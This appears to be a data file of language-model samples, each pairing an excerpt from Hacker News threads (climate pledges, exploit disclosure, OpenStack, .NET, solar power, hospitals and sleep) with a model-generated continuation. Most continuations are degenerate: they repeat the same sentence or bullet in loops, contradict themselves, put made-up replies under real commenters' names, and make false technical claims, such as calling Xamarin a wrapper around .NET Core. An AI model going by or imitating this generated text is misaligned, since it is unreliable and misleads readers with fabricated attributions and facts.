pay zero interest, and only let rich people & corporations\nborrow without abandon to finance their acquisition (er, corner) the market in\nall real-assets? Sounds like a great plan if your biz modle if f(n)% of asset\ninflation.\n\n~~~\npdkl95\nPointing out that deflation is a bad is not necessarily a statement of support\nfor any aspect of the current system. Staying away from deflation is good; the\nother parts are another matter and need fixing in several ways.\n\n~~~\n001sky\ndeflation is a bad is a hypothetical, and the arguments for and against are\nnot trivially dismissed. your trading book matters more than any theory. since\nthe analysis is so fact depenedent, there is no simple right answer.\n\n------\nCacti\nThe problem with deflation is that, if you're trying to control the money\nsupp"} +{"output_text": " night meetings are\ncommon.\n\n------\njedberg\nI'm not sure if this is a good thing or not.\n\nI think it's great that they're doing this, but I'm not sure if it's a good\nthing for the environment.\n\nI think it's great that they're doing this, but I'm not sure if it's a good\nthing for the employees.\n\nI think it's great that they're doing this, but I", "input_text": " from the environment all the carbon the company has\nemitted either directly or by electrical consumption since it was founded in\n1975.\"\n\n~~~\nzantana\nBegs the question does this include the inefficiencies in its products over\nthe years, which due to their breadth of their adoption, effected hundreds of\nmillions of computers?\n\nI'm thinking the carbon footprint of Windows update's endless (seemingly\nneedless?) grinding and rebooting alone ends up being more than they ever\nemitted manufacturing and building software.\n\n~~~\nseveneightn9ne\nHow would they decide that some computation was \"needless\"? If it was the best\nthey could do at the time I'd argue it wasn't needless. If they were\nintentionally wasting CPU/energy for no reason it would be a different story.\n\n------\nktpsns\nSomething I notice regularly on large companies and universities, literally\nany organization which is bigger then a single building: The vast amount of\nenergy waste.\n\nThis starts at heating rooms like crazy (because it is unmanaged), having\nunneccessary equipment, computers and lights running all night (because they\nare unmanaged) and goes up to transportation. It's so simple things like truck\ndrivers who prefer to keep their diesel running during loading/unloading. I\nguess they do so because either they were told by incompetent managament, have\nthe wrong belief that their batteries could not power the lights, or some\nother disbelief.\n\nSaving energy starts in the small, also if started by something big. Having\nsaid that, I guess a company of the size of Microsoft will have a huge\npotential to save energy.\n\n~~~\nmixmastamyk\nIndeed, also at every tech office I've worked at, late"} +{"output_text": "US countries, it's not uncommon to see people with a BMI of 40 or higher.\n\n~~~\nAznHisoka\nI'm not sure if it's a new thing. I've been in China for a month and I've\nnever seen a single obese person.\n\n~~~\nwill_work4tears\nI'm not sure if you're being sarcastic or not, but I'm going to assume you're\nserious.\n\nI'm not sure if you", "input_text": "\"\n\nMy first thought was they are exerting too much pressure on the surface of the\nworld and endangering the integrity of the crust... need to get out more...\n\n------\nNursie\nI also enjoy cycling and used to cycle-commute. Unfortunately I have now moved\nto a cold, wet country and work too far from home for it to be practical, and\nam getting fatter...\n\n~~~\ns_henry_paulson\nA great substitute is to find a gym with spinning classes in the morning\nbefore work.\n\n~~~\nstephengillie\nIt's not a great substitute - it costs ~$50-100 per month and an extra 45-90\nminutes per day... _instead_ of saving gas money. I too live in a cold wet\nland, but can't afford the cost in time _or_ money.\n\n------\natomical\nI've been a runner for a long time but occasionally I try new forms of\nexercise / fun. In the not too recent past I joined a rowing club. The dues\nwere cheap and it's a great workout. And I take advantage of hiking if I'm in\nan area that has mountains.\n\n------\nAznHisoka\nI was in China for a month. And I had to look extremely hard to find 1 obese\nperson everyday.\n\n~~~\nwill_work4tears\n1\\. How long ago was this? 'Becoming a problem' implies that it is a new-ish\nthing, and an observation from 5 years ago isn't really current.\n\n2\\. Are you sure you don't mean \"hard to find 1 _morbidly_ obese person\neveryday? You do realize that a BMI of 30 or greater is obese, right? And In\nnon-"} +{"output_text": " cares.\n\n~~~\ncheald\nI'm not sure what you're trying to say. I'm not saying that there's no\nliability in computing, I'm saying that the liability is not the same as it\nwould be in other industries.\n\n------\njoshstrange\nI'm not sure I understand the point of this article. The author is saying that\nthe vulnerability was found by a \"hacker\" and that the vulnerability was\npublicly disclosed.", "input_text": " disheartening, to say the least. I\nwonder how much of that is a result of the story's tone.\n\n~~~\ngiovannibajo1\nOn the other hand, project zero publishes kiddies-ready exploits for their\nvulnerabilities, which is a very questionable practice for vulnerabilities\nwhich are still in the wild. Even if patches were available, it would be far\nbetter to wait for most devices to be patched before releasing a full exploit.\nThey did this with iOS and now with Windows. We are now waiting for such\nuseful ready-to-use exploits for major Android versions as well.\n\n~~~\ncheald\nMetasploit does the same thing, and we've managed to not have the internet\nimplode yet.\n\nYours is the standard argument against _any_ form of disclosure. I'm not\ndiscounting it, because no disclosure has its merits, but responsible\ndisclosure satisfies both an ethical imperative (you can't let people believe\nthey're secure if you know otherwise) and provides pressure on vendors to fix\ntheir software, when the vendor might otherwise deem it not worth the time or\nmoney to fix the issue, which leaves their customers vulnerable.\n\nThe basic idea behind disclosure is \"we might not be the first people to find\nthis, and we definitely won't be the last, so let's remove all doubt and rob\nthe bad guys of the element of surprise\". Responsible disclosure is intended\nto permit responsible vendors to fix the issue before wide publication, but an\nuncooperative vendor doesn't mitigate the reality that the bug exists and will\neventually be found by someone less benevolent.\n\n~~~\nboracay\nIt's still just an excuse. Of course there's no liability in computing so no\none actually"} +{"output_text": "\n\nI don't know if it's the same for everyone, but I think it's because I don't\nlike the taste. I don't know if it's because I don't like the taste, or if\nit's because I don't like the taste, and I don't like the taste because I\ndon't like the taste.\n\n~~~\njoshuamorton\nI don't drink, but I do like the taste of beer. I don't like", "input_text": "damage-and-mutations-and-its-metabolite-acetaldehyde-is-highly-\ncarcinogenic/)\n\n[https://www.sciencedaily.com/releases/2019/07/190708084334.h...](https://www.sciencedaily.com/releases/2019/07/190708084334.htm)\n\n[https://neurosciencenews.com/age-alcohol-\nconsumption-10835/?...](https://neurosciencenews.com/age-alcohol-\nconsumption-10835/?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+neuroscience-\nrss-feeds-neuroscience-news+\\(Neuroscience+News+Updates\\))\n\n~~~\nthrow51319\nThanks for the info! I think the 2nd link doesn't work.\n\n~~~\nken\nGoogle search suggests the title of that page began with \"Quitting alcohol may\nimprove mental well-being, health...\", which leads to pages like [1] with the\nsame title from around the same date.\n\n[1]: [https://www.eurekalert.org/pub_releases/2019-07/ji-\nqam070319...](https://www.eurekalert.org/pub_releases/2019-07/ji-\nqam070319.php)\n\n------\nalt_f4\nI don't drink at all anymore, but I also never liked the taste. I used to\ndrink socially (maybe a beer or two or three, once a week), but I found better\nfriends, so I don't need to do that anymore."} +{"output_text": ".\n\n~~~\nbaddox\nI'm not sure what you mean by \"renewable.\"\n\n~~~\nanko\n[https://www.apple.com/environment/](https://www.apple.com/environment/)\n\n------\njedberg\nI'm not sure if this is a good thing or not.\n\nI think it's great that Microsoft is trying to do the right thing, but I\nthink it's a little too late.\n\n", "input_text": " is an excellent strategic\ninvestment for Microsoft that also aligns with timely ethical priorities. I\ndidn't read the post and think \"this is corporate glossy bullshit,\" I read it\nand thought \"this is an actual strategic initiative that is driving broad\norganizational alignment, which has measurable success criteria, and which\nmakes sense.\"\n\nI am genuinely surprised by the sincerity, cogency, and aspirational nature of\nthis initiative and its associated PR glossies.\n\nI am measurably more likely to work at and invest in Microsoft after reading\nthis.\n\nI guess they've hacked my demographic?\n\n~~~\nnscalf\nShould I be satisfied if you're doing the right thing for the wrong reasons?\nI'm always unsure about this. If a politician is making all the right noises,\nbut clearly doesn't care about the topic, should I be satisfied? I really\ndon't know. That's how I feel about this, it's clearly a PR move, but I think\nI'm happy about that?\n\n~~~\nbaddox\n> Should I be satisfied if you're doing the right thing for the wrong reasons?\n\nI tend to think YES, assuming you're _actually_ doing the right thing instead\nof just _saying_ you're doing the right thing. For example, when good ideas\nhappen to coincide with profit motive, I think that's a wonderful thing, and\nreally the best-case scenario in a market economy. Apple's seemingly genuine\nfocus on privacy is a perfect example: many people criticize it as being\ndriven only by profit (perhaps as a way to compete with Google), while I say\nit's great if that's true!\n\n~~~\nanko\nI just want to mention that apple has been 100% renewable for a while now"} +{"output_text": "_and_politics/explainer/2013/07/los_\nangeles_solar_power_solar_panels_and_the_city_s_green_future.html\n\n------\njoshuahedlund\nI'm not sure I understand the point of this article. It seems to be saying\nthat tall people are more likely to be CEOs, but that's not really a\nstatistically significant result. It's just a correlation.", "input_text": " say, Americans might be\nexpected to pay more for clothes in order to reduce the numbers of people\nburned to death in Bangladeshi textile factory fires?\n\n------\nbjourne\nWhy are almost all CEO:s and company leaders tall? Is it just a coincidence\nand when they selected the \"most qualified\" candidates almost all of them\nhappened to be tall? Is it because taller people just are that much smarter\nthan everyone else?\n\n~~~\nthaumasiotes\nWell, taller people are somewhat smarter than everyone else. If your model of\nCEOs is that they're selected top-down from the smartest members of the\npopulation, you'd probably expect them to be taller than average, because\nsomeone exceptionally smart probably had a lot of different things go right to\nachieve their high total, including the particular thing that's related to\ntallness.\n\nI tend to assume that most leaders are tall because tallness contributes\nheavily to charisma, rather than because it's somewhat related to\nintelligence.\n\n~~~\nbjourne\nI see. Silly me for suspecting it has something to do with discrimination.\nThat explains why there are so few women on leadership positions -- they are\non average 10-20 cm shorter than men so they are both much dumber and much\nless charismatic than guys. It doesn't explain why the tall and hyper-\ncharismatic smart Dutch men aren't dominating the world. But I guess it's only\na matter of time. Perhaps we should export some of our geniuses to the short\nand Asian countries, they obviously suffer from a severe lack of tallintellect\nthere.\n\n \nThe third Los Angeles: Can it truly become a green, sustainable city? - cryptoz\nhttp://www.slate.com/articles/news"} +{"output_text": "\n\n* How do you know what to do?\n\n* How do you know what to do?\n\n* How do you know what to do?\n\n* How do you know what to do?\n\n* How do you know what to do?\n\n* How do you know what to do?\n\n* How do you know what to do?\n\n* How do you know what to do?\n\n* How do you know what to do?\n", "input_text": " and out, and poured years of your life\ninto - now you share control with someone who you've spent maybe 8 hours with.\nAnd you're going to have to do that again and again over the years.\n\nThe second reason is the disparity in the invested interest between the VCs\nand you. You have EVERYTHING riding on this startup. The VC has almost nothing\nriding on your company. It's not their money, they get a great salary either\nway, and they are expected to have most of their investments fail.\n\nThere seemed to be more worldly prestige running a VC backed company, but\nthat's probably because we bought press coverage. :-) In terms of my own\npersonal happiness, I've never been happier than when I was running my own\nbootstrapped company...and I also made a ton of money.\n\n~~~\nnobody271\nHow do you know what type of company to start and how much of your own money\ndid you invest when bootstrapping a company.\n\nI heard about startups that do something like make medical insurance billing\neasier. That raises a lot of questions, actually.\n\n* How does one even learn that is an issue?\n\n* It seems like something where getting started is driven entirely by having contacts in the industry.\n\n* There has to be a ton of prohibitively expensive red tape to cut through. Would you just pay a lawyer to figure all that out? Lawyers are expensive!\n\n* It doesn't seem like something that really makes the world better although I'm sure you could tell yourself that it does if it was your business. Is having your business do something you consider positive important?\n\n* Where do you get the knowledge you need to get started in an industry. Say you're really only good at programming and want to start a..."} +{"output_text": " the TAM of each of those, what is the value of each of those, what is\nthe ROI of each of those, what is the TAM of each of those, what is the ROI of\neach of those, what is the TAM of each of those, what is the ROI of each of\nthose, what is the TAM of each of those, what is the ROI of each of those,\nwhat is the TAM of each of those, what is the", "input_text": " go out and start their companies, and hopefully have a higher chance of success because of these lectures.<p>So the question is: What should I talk about? What do you think is important? What do you wish someone had told you when you started out?<p>The audience isn't particularly technical, and many of the companies are in sales, services and other non-tech industries.\n======\npg\nThe mistake most people lecturing about entrepreneurship make is to talk about\nthe mechanics of starting a company. And in fact a big mistake inexperienced\nfounders make is to focus too much on the mechanics of it.\n\nIn practice the most important questions are things like how to maintain\nmorale, how to find and get along with cofounders, how to push investors'\nbuttons, and so on.\n\n~~~\nbored\nAnd make sure to demphasize the importance of the \"idea.\" Sure it's important,\nbut not nearly as much as newbie entrepreneurs think.\n\n~~~\npg\nOr more precisely, the _initial_ idea is usually not that important, because\nit's usually wrong. It's best to see an initial idea as a question rather than\nan answer.\n\n------\njpwagner\nYou say you want 6 topics...\n\n1\\. The Problem Statement\n\n(who needs a solution, why do they need a solution, what do they do now:\nbreakdown the value by time-cost and money-cost, what is the TAM, what subset\nof that TAM do you focus on first (does a subset of that TAM pay more or at\nall?))\n\n2\\. The Solution\n\n(what options for solutions do you have, what is the cost of each of those,\nwhat is"} +{"output_text": " of the most influential critics of all time.\n\n------\nmatt_the_bass\nI\u2019m not sure if this is a good idea. I\u2019m not sure if it\u2019s legal.\n\nI\u2019m not sure if it\u2019s ethical.\n\nI\u2019m not sure if it\u2019s a good idea.\n\nI\u2019m not sure if it\u2019s a good idea.\n\nI\u2019m not sure if it\u2019s a good", "input_text": " and 5 of some show. Terrible UI. Feels like you\nget so much less than you do.\n\nWith netflix it feels like you could just fall into a series immediately.\n\n------\nbogomipz\nAlthough it's not listed in this post because it's a rental. I feel like it\ndeserves a mention nonetheless. \"Beyond the Valley of the Dolls\" is a 1960s\ncult classic. It was directed by Russ Meyer and written by Roger Ebert.\nThere's a link to it on Roger's site as well as available to stream from\nAmazon for cheap:\n\n[https://www.rogerebert.com/reviews/beyond-the-valley-of-\nthe-...](https://www.rogerebert.com/reviews/beyond-the-valley-of-the-\ndolls-1980)\n\n------\ncottager\nWhen you said you were faking a proper agent with `requests`, do you mean you\nwere setting the headers to look like a browser, as in here?:\n[https://stackoverflow.com/questions/27652543/how-to-use-\npyth...](https://stackoverflow.com/questions/27652543/how-to-use-python-\nrequests-to-fake-a-browser-visit)\n\nThat was going to be my suggestion for how to get around the anti-robot\nresponses.\n\n~~~\nx3blah\nNo agent at all is required. I got past the anti-robot response using no user-\nagent header and a simple delay.\n\n------\nyoungamerican\nReading Ebert's Great Movies site was hugely formative for me. I also love\nthat he's low-key one"} +{"output_text": "/x2nd6rg)\n\n~~~\n1812Overture\nI think you're right, I'm not sure how they could side with the white\nsupremacists knowingly.\n\n------\nmatt4077\nI'm not sure I understand the point of this article.\n\nThe author seems to be saying that the left is too focused on identity politics\nand that it's a mistake to do so.\n\nBut the article itself is about the left", "input_text": "history in the US it's not of liberals vs conservatives, at least not in the\nway we use those terms in the US.\n\nWe have a problem with limiting discourse in schools but trying to shoehorn it\ninto the usual political framework frankly alienates those of us in the left\nwho are having to choose between apologizing for zealots on our side of the\nspectrum or aligning with groups that seem to inevitably take on repulsive\nundertones of intolerance and a whole other host of positions that have\nnothing to do with our own beyond being marginalized by the same extremely\nvocal group.\n\n------\n1812Overture\nOne thing that I haven't seen anyone mention is that this sort of walking on\neggshells culture tends to build higher walls around the privileged and\npowerful group. How often do you think these privileged rich white boys go on\nto become employers and refuse to higher someone from an out group\n(consciously or unconsciously) due to fear that the slightest misinterpreted\noff hand remark could bring hell down on them, but if they hire the other\nprivileged white guy they can comfortably be themselves without risk.\n\nI think even if you have the most leftist SJW views and objectives, you have\nto see this as counter productive.\n\n~~~\nvlehto\nI'm pretty sure some leftist SJW really can't see this as counter productive.\nIt's not just employment, this shit cuts through everything. I can't imagine\nhow this crowd could side with the white supremacists knowingly.\n\nBut then there is Slavoj Zizek, who agrees with you and me.\n[http://www.dailymotion.com/video/x2nd6rg](http://www.dailymotion.com/video"} +{"output_text": " companies, and they were not interested in changing the\nway they did things.\n\n------\njoshu\nI think the real problem is that the people who are making the decisions are\nnot the people who are going to be affected by them.\n\n~~~\njoshu\nI think the real problem is that the people who are making the decisions are\nnot the people who are going to be affected by them.\n\n------\njoshu\nI think the real", "input_text": " them\nhave been to innovate.\n\nI think Apple's willingness to cannibalise is one reason they're so successful\n- for example, when the iPod Mini was a very successful product, they stopped\nselling it and replaced it with the Mini. More industries need to learn from\nthem (especially the movie industry...)\n\n~~~\ntstegart\nCompanies are unwilling to do it because sometimes it means jettisoning\npeople, which is hard to do. Its difficult seeing people who have been with\nyou for 30 years become obsolete, and you have to tell them, \"sorry, but\nyou're no use to us anymore.\" Sometimes you want to try and make the old way\nwork, or just place your head in the sand and let the whole ship go down\ntogether.\n\n~~~\nceejayoz\n> Companies are unwilling to do it because sometimes it means jettisoning\n> people, which is hard to do.\n\nThe newspaper industry has been quite happy to do this. I survived several\nrounds of layoffs (plus furloughs and a wage freeze) at Gannett. (Meanwhile,\nthe CEO got a $30M+ retirement bonus...)\n\nThe problem is, they've mostly been doing it _instead_ of adjusting to the\ninformation era, rather than _in conjuction with_ adjusting.\n\n~~~\ntstegart\nAgreed. Another consideration is that many newspapers suffer from an outdated\nownership structure. I'm not sure about Gannet, but I know some of the others,\nlike Tribune before 2007 and NYT had a problem. They were started by famous\nbusinessmen or families that then created a structure to keep the holdings\nwithin the family. The problem with this is that their descendants owned the\ntrusts that run the"} +{"output_text": "I'm not sure I agree with this.\n\nOpenStack is a great way to get a lot of people to work on a common problem\nand to get a lot of people to work on a common codebase.\n\nIt's a great way to get a lot of people to work on a common problem and to get\na lot of people to work on a common codebase.\n\nIt's a great way to get a lot of people to work on a common problem and", "input_text": "izes the problem a bit.\n\n------\njamierothfeder\nOne benefit of having many different jobs is that you meet a lot of awesome\npeople in your field. And if you actually are good, then these ex-colleagues\nwill probably invite you to new opportunities when they hop themselves.\n\n \nIntel Pulls Out of OpenStack Effort It Founded with Rackspace - kefka\nhttp://fortune.com/2017/04/14/intel-openstack-project-rackspace/\n======\nfoobiekr\nOpenStack really has a bunch of problems.\n\nThe big one is that OpenStack is about building and operating your own\nRackspace; this is not something IT organizations can even hire for let alone\ncarry off. The idea that they could/would/should was purely aspirational.\n\nThe others are that it's basically a mess - no two OS deployments will look\nthe same - and that it has neither an operational advantage nor too much of a\npricing advantage (50% for RHAT) over VMware - which is better integrated and\nmuch, much better from a admin experience and debuggability standpoint.\n\nI looked hard at leveraging OpenStack for the service we were building but the\nunderlying code was often cringetastic and somewhat naive. At some level if\nyou run software as a service you can work around poor code quality -\nsomething friends from AWS have emphasized - but you can't throw it over the\nwall and have other people without large engineering staffs there to help run\nit - which doesn't work in the small. VMware is the opposite approach - the\nentire model and practices evolved out of arm's reach software sales and\nsupport. So naturally it works better.\n\n~~~\nmattbee\n"} +{"output_text": "/8706323/college-professor-afraid))\nis a good example.\n\n~~~\njamesbritt\n_Brew this up and one gets a majority of students who are reasonable but a\nsmall minority who drive all the discourse._\n\nI think you're right.\n\nI've been in a few classes where the students were mostly reasonable, but the\nteacher was a jerk.\n\nI've also been in a few classes where the", "input_text": " or censoring ideas is small but also very, very noisy.\nThey also have no sense of humor and college administrators as a group have no\nsense of humor or perspective, and they're chronically worried about\naccusations of indifference or insensitivity (which are themselves as good as\nconvictions). There is a strong economic and career incentive for\nadministrators to take _everything_ seriously and to keep their heads down as\nmuch as possible.\n\nBrew this up and one gets a majority of students who are reasonable but a\nsmall minority who drive all the discourse.\n\nI don't teach at Yale and have never taught at Yale or schools with similar\ncultures, so I can't speak to the environment there, but William Deresiewicz\ndid, and his book _Excellent Sheep: The Miseducation of the American Elite and\nthe Way to a Meaningful Life_ came out of that and I recommend it. His book _A\nJane Austen Education_ ([http://jakeseliger.com/tag/a-jane-austen-education-\nhow-six-n...](http://jakeseliger.com/tag/a-jane-austen-education-how-six-\nnovels-taught-me-about-love/)) is also very good, even for someone like me who\ndoes not love Jane Austen.\n\n _Edit:_ Also, almost all of the censorship calls and nasty behavior /\ncomments came from students on the left. Vox's \"I'm a liberal professor, and\nmy liberal students terrify me\" ([http://www.vox.com/2015/6/3/8706323/college-\nprofessor-afraid](http://www.vox.com/2015/6/3"} +{"output_text": " is really a thin\n> wrapper around Win32 windows and GDI+. WPF relies heavily on DirectX 9.\n\nI don't think that's true. WPF is a thin wrapper around DirectX 9, but it\ndoesn't rely on it. It's just a wrapper around DirectX 9.\n\n> For mobile platforms, Microsoft offers Xamarin for GUI.\n\nXamarin is a wrapper around Mono, which is a wrapper around .NET Core.\n", "input_text": "Any Developer, Any App, Any\n> Platform\u201d\n\nThis is what you want us to believe. But this makes little sense: if you\nreally believed in \"any platform\", this would go against your the interest of\nthe company (Windows sales), and therefore also against the interest of\nshareholders. I liked you more when you didn't pretend.\n\n~~~\nAnalemma_\n> this would go against your the interest of the company (Windows sales)\n\nThis would've been an insightful comment in 2007, but the world has changed.\nMicrosoft makes its money on Azure now, and that means supporting developers\neverywhere.\n\nFor crying out loud, post-reorg Windows doesn't even have someone reporting\ndirectly to the CEO anymore.\n\n~~~\nNullabillity\nIf that was true then WPF and WinForms would have been part of.NET Core.\n\nIf that was true then Microsoft wouldn't be pushing DirectX 12.\n\n~~~\nConst-me\n> WPF and WinForms would have been part of.NET Core\n\nI\u2019d love them to be, but unfortunately there\u2019re technical reasons for that.\nBoth depend on too many Windows components. WinForms is really a thin wrapper\naround Win32 windows and GDI+. WPF relies heavily on DirectX 9.\n\nFor mobile platforms, Microsoft offers Xamarin for GUI.\n\n> Microsoft wouldn't be pushing DirectX 12.\n\nAgain, there\u2019re technical reasons. For the same reasons Apple is pushing\nMetal, and Khronos is pushing Vulkan, all 3 are conceptually quite similar.\n\n~~~\nNullabillity\n> I\u2019d love them to be, but unfortunately there\u2019re technical reasons for that.\n> Both depend on too many Windows components. WinForms"} +{"output_text": "\nmikekchar\nI'm not sure if this is a good idea or not. I'm not sure if it's a good idea\nto have a car that is not a car. I'm not sure if it's a good idea to have a\ncar that is not a car that is not a car.\n\nI'm not sure if it's a good idea to have a car that is not a car that is not a\ncar that is not a car.\n", "input_text": " may have always been a nonstarter for\nthem, but this device isn\u2019t.\n\n------\nSubiculumCode\nMy favorite part of the article: Guerilla'd.\n\n\"but our fave low-tech workaround was shared by a user who found out his\ncampus only had 12 wheel boots to go around and bought and illegally parked 12\nscrapyard cars that could be \u201csacrificed\u201d so everyone else could park however\nthey wanted.\"\n\n------\nnotjtrig\nOriginal reddit post:\n\n[https://www.removeddit.com/r/specializedtools/comments/e541r...](https://www.removeddit.com/r/specializedtools/comments/e541r4/comment/f9ivr37)\n\n------\nzzo38computer\nLet it be known that putting that kind of stuff on the student's car is NOT\nOK. A locked car cover may be helpful (would it help with the stuff in the\nwheel too? even if not, put your own locked cover on the wheel) (it would also\nprevent people from putting papers in the wind shield, I think).\n\nBut nevertheless the students should pay the fine for parking if they wish to\npark their car in the parking space that requires payment. If the fee is too\nmuch then they should file a public complaint with the owner of the parking\nlot.\n\n------\njtms\nNormally I would think \u201cbreak the rules, pay the fines\u201d but I am sympathetic\nin this case. When I was in college I had to put my bicycle in the back of my\ntruck and park about two miles away from campus because there was literally\nnever valid parking on campus and the school was doing next to nothing to fix\nthe problem.\n\n------"} +{"output_text": " moar solar and wind.\n\n------\njandrewrogers\nI think the real question is how much of the cost of solar and wind is\nexternalized. The cost of the grid is a sunk cost, but the cost of the\ninfrastructure is not.\n\nThe cost of the grid is a function of the cost of the infrastructure, the\ncosts of the energy produced, and the cost of the energy consumed. The cost of\nthe energy produced is a", "input_text": "peaker to combined-cycle+peaker\nto have a fair comparison? Or do combined-cycle plants allow for lower changes\nin output than peakers, such that (e.g.) a 10% solar 90% combined-cycle system\ncould adjust as well? The grid is a whole system, not just two power plants.\n\nFinally, nobody is advocating for just solar+peaker. Solar+wind+peaker will\neasily get you over the 32% threshold, as solar and wind tend to provide power\nat different times (not perfectly, sadly). If you have some storage available\n(preferably hydro, but possibly other), then you get an even higher effective\ncapacity factor.\n\n------\nwoodandsteel\nRemember, one of the main arguments of the climate change is a hoax, fossil\nfuels forever gang is that switching to renewable energy would make\nelectricity so expensive it would mean the end of modern society and we would\nall go back to living in crude huts.\n\n------\nsremani\nAs usual this where Bloomberg acts as Solar is similar to NG. Solar and Wind\nare widely dependent on location. Your results of NG in Phoenix or Chicago are\ngoing to be more or less same - you cannot say that for Solar.\n\nAt the right places Solar is profitable - but at the grid interface level its\nnot same as having NG. For all the solar panels that are visible and there are\ncountless \"invisible\" massive diesel generator back-ups and an inefficiently\nused NG base-load generator somewhere.\n\nIts very rare Solar-Wind get their baseload from hydro (its possible). But\nagain, HN being HN.. Ye Ye Ye!\n\nThese headlines make people think some how ONG is replacable and all it takes\nmoar and"} +{"output_text": " trips, or we would need to build a shielded space station.\n\n~~~\njessriedel\n> Is that enough? We are not going to mars anytime soon. Even a colony on the\n> moon is not possible right now. We would either need to send people on once\n> only short trips, or we would need to build a shielded space station.\n\nI think you're missing the point. The point is that the shielding is not\nnecessary for the", "input_text": " wrote only applies near\nearth.\n\nAnd it's not solar particles that are the main problem. It's cosmic particles,\nwhich have much much higher energies, and do not come in bursts.\n\nSee here: [http://www.scientificamerican.com/article.cfm?id=magnet-\nforc...](http://www.scientificamerican.com/article.cfm?id=magnet-force-field)\nand here:\n[http://www.scientificamerican.com/article.cfm?id=shielding-s...](http://www.scientificamerican.com/article.cfm?id=shielding-\nspace-travelers) and here:\n[http://blogs.chron.com/sciguy/archives/2009/05/the_real_reas...](http://blogs.chron.com/sciguy/archives/2009/05/the_real_reason_why_we_wont_go_to_mars_in_my_lifet_1.html)\nand here:\n[http://marsjournal.org/contents/2006/0004/files/rapp_mars_20...](http://marsjournal.org/contents/2006/0004/files/rapp_mars_2006_0004.pdf)\n(pdf) and here: [http://www.space.com/missionlaunches/080331-radiation-\nshield...](http://www.space.com/missionlaunches/080331-radiation-\nshielding.html)\n\nIs that enough? We are not going to mars anytime soon. Even a colony on the\nmoon is not possible right now. We would either need to send people on once\nonly short"} +{"output_text": " But in fact the market is full of companies that are much more\nprofitable than Apple.\n\n~~~\nsilentbicycle\nI think it's a good proxy for profit share, but it's not a perfect one.\n\nFor example, I'd argue that Google's market share is a better proxy for\nprofit share than Apple's, because they're a much more profitable company.\n\n------\njpr\nI think the problem is that people are not used to", "input_text": "'d like to\nmake a \"SweetScript\" that compiles to JavaScript (via some lightweight lisp)\nand could essentially serve as a CoffeeScript with macros.\n\nWould you find such a tool useful? What challenges would you foresee facing\nsuch a project?\n\n------\njpr\nIt's funny that Lisp's \"syntax\" draws so much attention when it is pretty much\nthe simplest and most unambiguous syntax possible, and that messes like C++,\nPython and Perl don't seem to bother anyone enough to propose alternatives.\n\n~~~\nsilentbicycle\nIt's yet another case of people getting hung up on the first obviously\ndifferent thing they notice about a language.\n\nIf somebody is still griping about the parens in Lisp, the significant\nwhitespace in Python, the glyphs in APL, etc., they haven't gotten to the\ndifferences that actually make the language interesting - either they'll get\nused to it like the other X programmers (and realize it wasn't as big an issue\nas they thought), or they'll find deeper issues in the language design to\ncomplain about (and probably give up on it).\n\n \nWith 8.7% market share, Apple has 75% of cell phone profits - csomar\nhttp://tech.fortune.cnn.com/2012/02/03/with-8-7-market-share-apple-has-75-of-cell-phone-profits/\n======\npg\nThat is an astounding graph. I didn't consciously realize this till the\nexample of Apple made it clear a few years ago, but market share is actually\nan unambitious thing to aim for. When people treat market share as a proxy for\nprofit share, they're implicitly assuming all the competitors are roughly\nequivalent."} +{"output_text": "'s why they are there.\n\nThey also have a lot of money to spend on things like fancy beds. Fancy beds\nare expensive.\n\nThey also have a lot of money to spend on things like fancy machines. Fancy\nmachines are expensive.\n\nThey also have a lot of money to spend on things like fancy doctors. Fancy\ndoctors are expensive.\n\nThey also have a lot of money to spend on things like fancy nurses. Fancy\n", "input_text": " search - site:trycosmo.com peer review - did not\n> match any documents\n\nSounds promising. Untested sleep drugs, sign me up!\n\n~~~\nCryoLogic\nIt's actually just melatonin, L-theanine and magnesium in one pill. So nothing\nsketchy but also not anything new or interesting. Just a combo pill like most\nother supplements on the market.\n\n~~~\ndanielfoster\nYou're right, the formula isn't groundbreaking. We did this intentionally to\nfocus on the tried and true. We've also found that many sleep aids contain\nthese ingredients, but only in very small quantities (1mg or less).\n\nIs there anything else you would potentially like to see included?\n\n------\ncrazygringo\nI highly recommend the 2017 book \"Why We Sleep\" [1]. Written by a doctor,\nstarting at page 335 he calls exactly for ensuring hospital patients can\nsleep, why this is so critical for recovery, and how many things in hospitals\ncurrently work against this. (The book covers so much ground, including other\nreforms like school time starts, why society doesn't value sleep because\nsleep-deprived people don't perceive their substandard performance, and so\non.)\n\n[1] [https://www.amazon.com/Why-We-Sleep-Unlocking-\nDreams/dp/1501...](https://www.amazon.com/Why-We-Sleep-Unlocking-\nDreams/dp/1501144324)\n\n------\nmfer\nConsider what hospitals optimize for (at least in the US). Not what they say\nbut what they do...\n\nFor example, putting lots of money into fancy buildings. Fancy buildings\nattract patients for non-emergency things. That"} +{"output_text": "* Solaris zones\n\n* Solaris zones\n\n* Solaris zones\n\n* Solaris zones\n\n* Solaris zones\n\n* Solaris zones\n\n* Solaris zones\n\n* Solaris zones\n\n* Solaris zones\n\n* Solaris zones\n\n* Solaris zones\n\n* Solaris zones\n\n* Solaris zones\n\n* Solaris zones\n\n* Solaris zones\n\n* Solaris zones\n\n* Solaris zones", "input_text": " therefore saving the\ncompany money because developers are not wasting time debugging CI server\nissues. It's easy to isolate CI server related issues from the docker\ncontainer running the unit tests because a developer can just run the same\ntests using the container on their local machine, so it creates a consistent\nenvironment.\n\nOn the infrastructure deployment side of things.... Previous to our\n\"dockerized\" infrastructure we were managing about 7 different AMI's for all\nour servers and it was becoming a pain in the butt to manage the installation\nof new software if our application called for it, create a new AMI, then re-\ndeploy said AMI. If you have experience with AWS and you have done this enough\ntimes, I'm sure you have faced at one point or another long wait times for\nyour AMI to be created before you can re-deploy with that newly created AMI.\nThis is time wasted on the application deployment side of things, but also on\nthe personnel side of things while you wait for that damn thing to be created\nso you can re-deploy. Time is money and money waiting for resources to be\navailable or for AMI's to be created is money taken away from the business.\nAdditionally though in its infancy stage, we are using docker-compose\n([https://docs.docker.com/compose/](https://docs.docker.com/compose/)) which\noffers some really nice ways of defining your container infrastructure within\na single machine, I highly recommend looking into this for further efficiency.\n\n------\nMcElroy\nTo get some additional viewpoints on containerization, you could also take a\nlook at what has been said about similar, preceeding technologies:\n\n* Solaris Zones, see also SmartOS Zones based on that\n\n* FreeBSD jails\n\n"} +{"output_text": " user, I'm not sure I understand the fuss.\n\nThe only thing that matters is that the bootloader is signed by Microsoft.\n\n~~~\njosteink\n> The only thing that matters is that the bootloader is signed by Microsoft.\n\nThat's not true.\n\nThe only thing that matters is that the bootloader is signed by Microsoft.\n\nThe only thing that matters is that the bootloader is signed by Microsoft.\n\nThe only thing 